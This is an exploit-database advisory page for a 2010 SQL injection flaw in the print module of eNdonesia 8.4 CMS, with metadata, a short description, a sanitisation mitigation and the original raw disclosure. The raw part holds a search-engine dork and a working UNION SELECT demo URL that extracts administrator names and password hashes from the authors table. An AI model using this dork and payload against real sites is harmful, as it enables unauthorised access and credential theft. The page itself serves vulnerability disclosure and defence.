eNdonesia 8.4 (Print Module) SQL Injection Vulnerability

vendor:

eNdonesia

by:

vYc0d

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: eNdonesia

Affected Version From: 8.4

Affected Version To: 8.4

Patch Exists: NO

Related CWE: N/A

CPE: endonesia

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

eNdonesia 8.4 (Print Module) SQL Injection Vulnerability

eNdonesia 8.4 is vulnerable to a SQL injection vulnerability in the print module. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This request contains a malicious SQL query that can be used to extract sensitive information from the database.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

======================================================================/
 eNdonesia 8.4 (Print Module) SQL Injection Vulnerability    
                                                               
 Download : http://sourceforge.net/projects/endonesia/files/eNdonesia
 Version  : 8.4 or lower maybe also affected
 Dork     : mod.php?mod=publisher&op=printarticle&artid=

======================================================================/
 
 Author  : vYc0d
 Contact : vyc0d@hackermail.com
 Site    : http://vyc0d.uni.cc
 Date    : 15-10-2010

==============================================================================================/

[Vulnerability File]

http://localhost/[eNdonesia 8.4]/mod.php?mod=publisher&op=printarticle&artid=[valid id][sql-i]


[ DEMO ]
 
http://www.site.com/mod.php?mod=publisher&op=printarticle&artid=-47+union+select+1,concat_ws%280x3a,aid,name,pwd%29,3,4,5,6,7+from+authors--
 
===================================================================================================================================================/
 
[ Thanks to ]
 
[-] Allah SWT, Muhammad SAW, My Family
[-] The big Family of :
[-] M0slem Hax0r - Echo - Indonesian Coder - Jasakom - Indonesian Hackers - Malang Cyber Crew 
[-] ManadoCoding - Devilzc0de - Yogyacarderlink - Xcode - Hacker Newbie - Persiland Security
[-] Klix ITN Malang - Kolam (Komunitas Linux Arek Malang)